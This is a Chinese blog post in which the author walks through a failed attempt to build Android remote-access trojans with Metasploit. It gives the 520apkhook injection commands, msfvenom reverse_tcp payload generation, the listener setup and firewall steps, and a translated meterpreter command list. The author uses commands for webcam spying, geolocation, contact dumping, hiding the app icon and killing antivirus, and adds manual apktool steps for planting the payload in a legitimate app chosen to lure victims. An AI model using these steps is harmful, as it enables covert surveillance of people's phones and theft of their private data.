一次失败的 MSF 远控 Android 设备实验
0x00 前言
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
- 写这个是去年时看到春天师傅说的,想玩一下,原是拿我正在用的物理机实验,版本高,卒。
- 在逛暗魂社区时,看到以为师傅写的 520apkhook 注入,想着试一波,想了好久。
- 等到快过年,尝试完 520apkhook,不算成功,想着手工,跟着我跨年了。
- 直到现在,经过多次尝试,终是以失败告终,木有未加壳|加壳较弱的APP。
0x01 全自动注入
一、待用工具
- 一台kali主机
- 一台安卓机/模拟器
- 一个APK注入工具
- 一个无壳诱惑性APP
二、选择APP
- 盲目下载型的APP,某些购物助力软件
- 小众但常用型APP,某些密码破解器
- 注:部分被加固的软件无法进行 520apkhook 注入,可另觅一个
- 事后:APP基本加壳了,看运气吧
三、恶意APP
- kali 终端写入
git clone https://github.com/cleverbao/520apkhook.git
拉取注入工具 - 先安装个模块:
pip install pycryptodome
- 执行注入
python3 main.py --lhost 192.168.184.129 --lport 1433 -n ../tumei.apk
- 看下提示
生成的远控Apk在: /home/kali/Test/520apkhook/WorkDir/AllFinish.apk
生成的Msf Handler在: /home/kali/Test/520apkhook/WorkDir/handler.rc
四、通信设置
执行监听
msfconsole -r WorkDir/handler.rc
,报错:1
2
3
4
5
6
7Ready...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...默默将网络连接设为桥接模式,使手机和虚拟机在同一网段(
192.168.0.2
和192.168.0.3
),再开放端口,使手机能ping
通虚拟机写下开放端口步骤:
安装
ufw
防火墙工具:apt-get install ufw
;
查看 ufw 防火墙状态:ufw status
;
启动ufw
防火墙:ufw enable
;
开放1433
端口:ufw allow 1433
;
查看已添加规则:ufw status numbered
;
删除已添加规则:ufw delete allow 1433
关闭ufw
防火墙:ufw disable
五、后渗透
- 确实是防火墙的缘故,效果一样,懒得重新截图,现在操作一波上线的小可爱
- 写入命令
sessions
查看当前监听的所有会话,根据Id
号进入相应会话的交互终端sessions 6
- 终端模式写入命令
?
或help
查看帮助文档,当前已翻译1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160Core Commands
核心命令
=============
Command Description
------- -----------
? 帮助菜单
background 本届会议的背景
bg 背景别名
bgkill 杀死后台MeTrPrter脚本
bglist 列出正在运行的后台脚本
bgrun 作为后台线程执行MeterMeter脚本
channel 显示信息或控制活动通道
close 关闭频道
detach 分离MeterMeter会话(对于http/https)
disable_unicode_encoding 禁用unicode字符串的编码
enable_unicode_encoding 启用unicode字符串的编码
exit 终止MeterMeter会话
get_timeouts 获取当前会话超时值
guid 获取会话GUID
help 帮助菜单
info 显示有关Post模块的信息
irb 在当前会话上打开一个交互式Ruby shell
load 加载一个或多个流量计扩展
machine_id 获取连接到会话的计算机的MSF ID
pry 在当前会话上打开Pry调试器
quit 终止MeterMeter会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行MeterMeter脚本或Post模块
secure (重新)协商会话上的TLV数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制MeterMeter安静,然后重新建立会话
transport 管理运输机制
use “加载”的不推荐别名
uuid 获取当前会话的UUID
write 将数据写入通道
Stdapi: File system Commands
Stdapi:文件系统命令
============================
Command Description
------- -----------
cat 将文件内容读取到屏幕上
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定的文件
dir 列出文件(ls的别名)
download 下载文件或目录
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 制作目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定的文件
rmdir 删除目录
search 搜索文件
upload 上传文件或目录
Stdapi: Networking Commands
Stdapi:网络命令
===========================
Command Description
------- -----------
ifconfig 显示界面
ipconfig 显示界面
portfwd 将本地端口转发到远程服务
route 查看和修改路由表
Stdapi: System Commands
Stdapi:系统命令
=======================
Command Description
------- -----------
execute 执行命令
getenv 获取一个或多个环境变量值
getuid 获取运行服务器的用户
localtime 显示目标系统本地日期和时间
pgrep 按名称筛选进程
ps 列出正在运行的进程
shell 放入系统命令外壳
sysinfo 获取有关远程系统的信息,例如操作系统
Stdapi: User interface Commands
Stdapi:用户界面命令
===============================
Command Description
------- -----------
screenshare 实时观察远程用户桌面
screenshot 抓取交互式桌面的屏幕截图
Stdapi: Webcam Commands
Stdapi:网络摄像头命令
=======================
Command Description
------- -----------
record_mic 从默认麦克风录制音频X秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 从指定的网络摄像头播放视频流
Stdapi: Audio Output Commands
Stdapi:音频输出命令
=============================
Command Description
------- -----------
play 在目标系统上播放波形音频文件(.wav)
Android Commands
安卓命令
================
Command Description
------- -----------
activity_start 从Uri字符串启动Android活动
check_root 检查设备是否root
dump_calllog 获取通话记录
dump_contacts 获取联系人列表
dump_sms 获取短信
geolocate 使用地理定位获取当前lat long
hide_app_icon 从启动器中隐藏应用程序图标
interval_collect 管理间隔收集功能
send_sms 从目标会话发送短信
set_audio_mode 设置振铃器模式
sqlite_query 从存储器中查询SQLite数据库
wakelock 启用/禁用Wakelock
wlan_geolocate 使用WLAN信息获取当前lat long
Application Controller Commands
应用程序控制器命令
===============================
Command Description
------- -----------
app_install 使用WLAN信息获取当前lat long
app_list 列出设备中已安装的应用程序
app_run 启动包名称的主活动
app_uninstall 请求卸载应用程序 - 试了下,大部分命令使用失败,试了多款APP,仅第一款APP无闪退,但也无法联网。
0x02 手工注入
一、牛刀小试
- 先试试水,
MSF
直接生成一个反弹型恶意 APP,就不截图了msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=1433 -o tumei.apk
- 参数设置与监听
进入 MSF 控制台:msfconsole
进入漏洞利用模块:use exploit/multi/handler
指定为 Android 平台的攻击载荷:set payload android/meterpreter/reverse_tcp
查看攻击参数:show options
配置反弹平台参数:设置 IP (set LHOST 192.168.1.6
)、设置端口(set LPORT 1433
)
开始攻击:exploit
二、小可爱成功上线
- 安装恶意APP后,我们拥有了一个小可爱
- 写入命令:
webcam_list
看下摄像头列表;webcam_snap -i 2
指定摄像头给小可爱照一张美美哒相片。注:第一次执行webcam_snap
有权限申请提示,如拒绝之后别想了,反之之后不用。 - 再看摄像头监控:
webcam_stream -i 2
,将从网页打开一个实时监控画面(需图形界面) - 定个位,看看小可爱在哪里:
geolocate
,仍需申请权限。挺准的,就不截图了。 - 写入命令
dump_contacts
,将电话簿导出为 txt 文件。仍需申请权限。 - 隐藏恶意APP图标,谨慎操作!我是不知道怎么再次显示的:
hide_app_icon
。 - 看下APP是在物理机还是模拟器:
run post/windows/gather/checkvm
。 - 关闭杀毒软件:
run killav
。 - 查看当前用户信息:
getuid
。
三、添加伪装
- 先下载反编译工具
访问官网地址:https://ibotpeaches.github.io/Apktool/install/
,作者写得很明白了
注: wrapper script 需要翻 wall 下载 - 移动到你中意的位置,给权限,设环境变量
1
2
3# 移动
root@kali:/home/kali/Tools# mv ../桌面/apktool ./APKTool/
root@kali:/home/kali/Tools# mv ../桌面/apktool.jar ./APKTool/1
2
3# 加权限
root@kali:/home/kali/Tools/APKTool# chmod +x apktool
root@kali:/home/kali/Tools/APKTool# chmod +x apktool.jar1
2
3
4
5
6
7
8
9
10# 为了方便调用,还是设置环境变量比较好
root@kali:/home/kali/Tools/APKTool# vim /etc/profile
# 内容写入 apktool 和 apktool.jar 所在文件夹
export PATH=${PATH}:/home/kali/Tools/APKTool
# 重新编译配置文件,使之生效
source /etc/profile
# 测试时,直接写入 apktool ,成功则显示帮助信息 - 这种方法很麻烦吧,那看下这个呗!一句话搞定:
apt-get install apktool
- 开始反编译
apktool d tumei.apk
和apktool d admin.apk
,分别得到目录 tumei 和 admin
注:tumei.apk 为恶意 APP,amin.apk 为正常 APP - 加权限,tumei 目录下
AndroidManifest.xml
文件以<uses-permission
开头的内容复制到 admin 目录下的同名文件中 - 添加启动机制
正常 APP 中查找LAUNCHER
或MAIN
。
再找到的文件中查找onCreate
字符串,写入移动木马文件夹得1
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
metasploit
文件到正常文件的../smali/com/
中 - 回编译报错,经测试发现加壳了,换一个。
1
apktool b admin
- ……还是加壳,拜拜了您,爷不干了
0x03 后记
- 实践时查询到一些师傅表示,现在还想远控,现在有点明白了,壳有些厚,更多的还是我是一只小小菜鸡
- 断断续续从去年写到今年,还是有些收获,至少 MSF 使用总是6了些
- 本文标题:一次失败的 MSF 远控 Android 设备实验
- 本文作者:涂寐
- 创建时间:2022-02-08 23:31:09
- 本文链接:article/6dcc43df.html
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
评论